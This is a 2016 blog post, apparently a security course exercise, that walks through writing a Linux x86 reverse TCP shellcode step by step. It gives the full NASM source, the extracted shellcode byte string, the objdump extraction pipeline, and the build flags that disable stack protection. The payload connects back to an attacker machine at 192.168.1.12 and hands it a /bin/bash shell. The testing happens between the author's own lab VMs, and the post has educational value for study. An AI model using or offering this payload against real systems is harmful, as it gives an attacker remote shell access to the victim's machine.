AdSense

Sunday, March 6, 2016

2 - Shell Reverse TCP shellcode


2 - SHELL REVERSE TCP

1 - INTRODUCTION

The goal of this exercise is to launch an attack against an Ubuntu Linux machine by developing a Shell Reverse TCP shellcode. This program will be executed inside the victim machine, while a remote attacker Linux Kali listens on a specific port. Once the connection is established, the attacker Kali will enjoy a shell from Ubuntu ,opened in its command line interpreter.

Port binding shellcodes are usually discovered by firewalls, because inbound connections are thoroughly examined and filtered. However, firewalls don't filter outbound connections with the same frequency and intensity, because it would affect performance. Due to this fact, outbound connections started from the inside are more successful. In other words, Shell Reverse shellcodes are more effective than attacks based on Port binding.

The assembly program Shell_Reverse_TCP.nasm follows 4 steps:

a) CREATE a TCP socket.
b) CONNECT the socket to an IP address and a TCP port.
c) REDIRECT accepted socket to standard streams.
d) EXECUTE a shell (for instance, the /bin/bash).

All of these steps are performed with Linux syscalls, available for working with sockets on IA-32 (Intel Architecture 32 bits) machines.

The main difference with the former program (A1 - Shell Bind TCP) is the utilization of the connect() function, being the rest of the steps pretty similar.

2 - WRITING THE PROGRAM STEP BY STEP

Let's review the Shell_Reverse_TCP.nasm program step by step:

a) CREATE a TCP socket

- a socket is created with socket() function, as done in previous example (A1 - Shell Bind TCP) :

global _start
section .text
_start:

; int socket(int domain, int type, int protocol)
xor eax,eax ; zeroize eax
mov al,0x66 ; socketcall() identifier = 0x66 = 102

xor ebx,ebx ; zeroize ebx
mov bl,0x1 ; 1 for SYS_SOCKET

xor ecx,ecx ; zeroize ecx
push ecx ; 0 for protocol (IPPROTP_IP = IP protocol)
push 0x1 ; 1 for type (SOCK_STREAM = TCP protocol)
push 0x2 ; 2 for domain (AF_INET = IPv4)

mov ecx,esp ; content of esp (pointer to the arguments) is moved to ecx
int 0x80 ; syscall executed

xor edi, edi ; zeroize edi
mov edi, eax ; file descriptor of the socket is saved into edi

b) CONNECT the socket to an IP address and a TCP port

- connect() function is used to establish a connection between two endpoints. The parameters of connect() are the same to bind(), with the only difference that syn_addr parameter must be specified for connect().

- In this case, the remote IP address to establish the connection is 192.168.1.12 (\0xc0\0xa8\0x01\0x0c).

- It will be pushed onto the stack in reverse order (0x0c01a8c0) as a parameter for connect().

root@lic:/# man connect

NAME connect - initiate a connection on a socket
SYNOPSIS int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
DESCRIPTION The connect() system call connects the socket referred to by the file descriptor sockfd to the address specified by addr. The addrlen argument specifies the size of addr. The format of the address in addr is determined by the address space of the socket sockfd.

- the identifier for the syscall SYS_CONNECT is 3:

root@lic:/usr/include/linux# cat net.h
#define SYS_CONNECT 3 /* sys_connect(2) */

- The section of the program for establishing the connection:

; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen)

xor eax,eax ; zeroize eax
mov al,0x66 ; socketcall() identifier = 0x66 = 102

xor ebx,ebx ; zeroize ebx
mov bl,0x3 ; 3 for SYS_CONNECT

push 0x0c01a8c0 ; sin_addr = 192.168.1.12, pushed in reverse order onto the stack
push word 0xe007 ; port 2016 (0x07e0), according to Network Byte Order 0xe007
push word 0x2 ; sin_family = AF_INET=2

mov ecx,esp ; pointer to sockaddrr is moved to ecx

push 0x10 ; 16 Bytes (0x10) of lenght
push ecx ; pointer to sockaddr
push edi ; file descriptor of the socket to bind

mov ecx,esp ; content of esp (pointer to the arguments) is moved to ecx
int 0x80 ; syscall executed

c) REDIRECT to standard streams

- The accepted socket file descriptor is redirected to the standard streams: stdin(0), stdout(1), stderr(2), as done at previous case (Shell Bind TCP), with the syscall dup2():

; int dup2(int oldfd, int newfd)

xor ecx,ecx ; zeroize ecx
mov cl,0x2 ; initializing ecx as a counter with 2

redirect:
xor eax,eax ; zeroize eax
mov al,0x3f ; 0x3f = 63 identifier for dup2()
int 0x80 ; syscall is executed
dec ecx ; decreasing by 1 the counter
jns redirect ; the loop ends up when the counter reaches -1

d) EXECUTE /bin/bash

- Finally, the program executes a /bin/bash shell with execve():

; int execve(const char *filename, char *const argv[], char *const envp[])

xor eax,eax ; zeroize eax
push eax ; 0x0 is pushed onto the stack
push 0x68736162 ; hsab
push 0x2f6e6962 ; /nib
push 0x2f2f2f2f ; ////

mov ebx,esp ; filename is moved to ebx

push eax ; eax contains 0x0
mov edx,esp ; 0x0 is moved to edx
push ebx ; address of filename pushed onto the stack
mov ecx,esp ; address of filename moved to ecx
mov al,0xb ; 11 = 0xb identifier for execve()
int 0x80 ; syscall executed

- The whole program Shell_Reverse_TCP.nasm:

global _start
section .text
_start:
; int socket(int domain, int type, int protocol)
xor eax,eax ; zeroize eax
mov al,0x66 ; socketcall() identifier = 0x66 = 102

xor ebx,ebx ; zeroize ebx
mov bl,0x1 ; 1 for SYS_SOCKET

xor ecx,ecx ; zeroize ecx
push ecx ; 0 for protocol (IPPROTP_IP = IP protocol)
push 0x1 ; 1 for type (SOCK_STREAM = TCP protocol)
push 0x2 ; 2 for domain (AF_INET = IPv4)

mov ecx,esp ; content of esp (pointer to the arguments) is moved to ecx
int 0x80 ; syscall executed

xor edi, edi ; zeroize edi
mov edi, eax ; file descriptor of the socket is saved into edi

; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen)

xor eax,eax ; zeroize eax
mov al,0x66 ; socketcall() identifier = 0x66 = 102

xor ebx,ebx ; zeroize ebx
mov bl,0x3 ; 3 for SYS_CONNECT

push 0x0c01a8c0 ; sin_addr = 192.168.1.12
push word 0xe007 ; port 2016 (0x07e0), according to Network Byte Order 0xe007
push word 0x2 ; sin_family = AF_INET=2

mov ecx,esp ; pointer to sockaddrr is moved to ecx

push 0x10 ; 16 Bytes (0x10) of lenght
push ecx ; pointer to sockaddr
push edi ; file descriptor of the socket to bind

mov ecx,esp ; content of esp (pointer to the arguments) is moved to ecx
int 0x80 ; syscall executed
; int dup2(int oldfd, int newfd)

xor ecx,ecx ; zeroize ecx
mov cl,0x2 ; initializing ecx as a counter with 2

redirect:
xor eax,eax ; zeroize eax
mov al,0x3f ; 0x3f = 63 identifier for dup2()
int 0x80 ; syscall is executed
dec ecx ; decreasing by 1 the counter
jns redirect ; the loop ends up when the counter reaches -1

; int execve(const char *filename, char *const argv[], char *const envp[])

xor eax,eax ; zeroize eax
push eax ; 0x0 is pushed onto the stack
push 0x68736162 ; hsab
push 0x2f6e6962 ; /nib
push 0x2f2f2f2f ; ////

mov ebx,esp ; filename is moved to ebx

push eax ; eax contains 0x0
mov edx,esp ; 0x0 is moved to edx
push ebx ; address of filename pushed onto the stack
mov ecx,esp ; address of filename moved to ecx
mov al,0xb ; 11 = 0xb identifier for execve()
int 0x80 ; syscall executed


3 - ASSEMBLING, LINKING, EXTRACTING

- Assembling Shell_Bind_TCP.nasm:

root@lic:/home/daniel/Desktop/SLAE_2# nasm -f elf32 -o Shell_Reverse_TCP.o Shell_Reverse_TCP.nasm

- Linking Shell_Bind_TCP.nasm:

root@lic:/home/daniel/Desktop/SLAE_2# ld -o Shell_Reverse_TCP Shell_Reverse_TCP.o

- Extracting the shellcode from Shell_Bind_TCP.nasm:

root@lic:/home/daniel/Desktop/SLAE_2
# objdump -d ./Shell_Reverse_TCP|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x31\xff\x89\xc7\x31\xc0\xb0\x66\x31\xdb\xb3\x03\x68\xc0\xa8\x01\x0c\x66\x68\x07\xe0\x66\x6a\x02\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf7\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

4 - TESTING

Two computers are used for testing this exercise. On the one hand, the program is executed within the victim, an Ubuntu machine. On the other hand, a remote Kali attacker machine listens on the 2016 port:

- Ubuntu 12.04 (32 bits) with IP 192.168.1.10:

root@lic:/home/daniel/Desktop/SLAE_1# ifconfig
eth0 Link encap:Ethernet HWaddr 08:00:27:8d:a2:b4
inet addr:192.168.1.10 Bcast:192.168.1.255 Mask:255.255.255.0

- Kali (32 bits) with IP 192.168.1.12:

root@kali:~# ifconfig
eth0 Link encap:Ethernet HWaddr 08:00:27:ee:c4:8b
inet addr:192.168.1.12 Bcast:192.168.1.255 Mask:255.255.255.0


- Creating ShellcodeTest.c:

root@lic:/home/daniel/Desktop/SLAE_2# sudo gedit ShellcodeTest.c




- Compiling ShellcodeTest.c:

root@lic:/home/daniel/Desktop/SLAE_2# gcc -fno-stack-protector -z execstack ShellcodeTest.c -o ShellcodeTest

- From remote Kali (attacker), the nc tool is launched, listening on port 2016:


- From Ubuntu (victim), the shellcode ShellcodeTest is executed:






- Now, a shell from Ubuntu is opened at Kali machine, being the attack successful:





5 - IP ADDRESS AND PORT CONFIGURATION

- One of the possible ways to make the IP address and the TCP port easily configurable would be to convert those two number into predefined macros.

- For instance, let's take the IP adress 192.168.1.12 and the TCP port 9000. Predefining two macros:

#define IP_ADRESS "\xc0\xa8\x01\x0c"
#define PORT "\x23\x28"

- Rewriting ShellcodeTest.c:

root@lic:/home/daniel/Desktop/SLAE_2# sudo gedit ShellcodeTest.c




- Compiling ShellcodeTest.c:


root@lic:/home/daniel/Desktop/SLAE_2# gcc -fno-stack-protector -z execstack ShellcodeTest.c -o ShellcodeTest

- Now, listening from Kali (attacker) on port 9000:



- Executing ShellcodeTest.c from Ubuntu (victim):


- The attack is successful, because the attacker Kali is able to open remotely a "/bin/bash" shell from the victim Ubuntu: